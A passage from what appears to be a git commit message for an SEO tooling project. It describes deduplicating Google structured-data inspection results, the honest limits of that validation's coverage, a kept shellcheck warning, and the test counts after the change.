never emits it now, and a test asserts the absence.
issues[] deduped (the same issueMessage repeats across every affected item),
errors/warnings count instances — scale from the counter, cause from the
message.
seo-analyzer STEP 4 consumes it as the system's only programmatic JSON-LD
validation, bounded honestly: index:inspect is per-URL, quota'd, and needs a
verified property, so its reach is the STEP 9 COVERAGE ratio, not the site.
Replacing a fake validator with a fake coverage promise would be no better.
This is what beats claude-seo: their README's "dual validator (Rich Results
Test + Schema Markup Validator)" is two hyperlinks a human clicks — grep of
their .py finds zero calls. This is Google's verdict, via auth already held.
Note: the new dedupe assertion trips SC2015 (A && B || C), same as the
pre-existing line 27; ok() ends on an assignment so it cannot fail. Kept for
house-style consistency — lib/seo-data/*.sh is outside the lib/*.sh
shellcheck glob anyway.
Verified: seo-data 85 -> 95 pass, 0 fail; both paths exercised end-to-end
and output inspected by hand; make test 35 GREEN / 0 RED; py_compile clean.
bastien